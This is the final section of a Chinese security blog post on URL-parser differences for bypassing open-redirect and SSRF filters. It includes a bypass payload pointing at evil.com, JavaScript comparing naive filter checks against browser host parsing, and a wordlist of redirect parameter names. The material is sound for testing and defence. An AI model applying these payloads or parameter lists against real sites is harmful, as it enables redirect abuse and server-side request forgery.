  • http://T\@evil.com/ 一行最能说明问题:浏览器认为 host 是 T,Python hostname 认为是 evil.com,完全相反。
  • 开放重定向最终由浏览器解析(用 WHATWG 规则);SSRF 最终由服务端库解析。同一个 payload 打两者,成功率可能完全相反。

8.2 验证脚本

C:\Users\0xMouise\Desktop\桌面整理\urlparse-demo.mjs
(Node 运行;输出每个 payload 的浏览器真实 host,以及四种过滤器模型 F1–F4 的放过/拦下判定)

8.3 速用片段

// 落点验证(开放重定向必用)
new URL("<Location 值>").host

// 批量对比:浏览器视角 vs 各过滤器模型
const T = "目标域";
const F1 = u => u.includes(T);                                  // 字符串 contains
const F2 = u => (u.match(/^https?:\/\/([^\/]*)/)?.[1] ?? "").includes(T); // 抠 authority 再 contains
const F3 = u => /^https?:\/\/目标域/.test(u);                    // 前缀正则(大小写敏感、无尾锚)
new URL(payload).host                                          // 真实落点

8.4 参数名字典(开放重定向/SSRF 通用)

url uri link redirect redirect_uri redirectUrl redirect_url return returnUrl return_url
returnTo next continue continueUrl to target dest destination goto goto_url jump out view
callback callbackUrl forward forwardUrl ref referer service successUrl failUrl cancelUrl
backUrl file path open linkurl buildUrl imageURL src source from fromurl loginUrl

8.5 检查清单(打印版)

开放重定向

SSRF

CSRF

通用


文档结束

posted @ 2026-09-23 23:00  0xMouise  阅读(36)  评论(0)    收藏  举报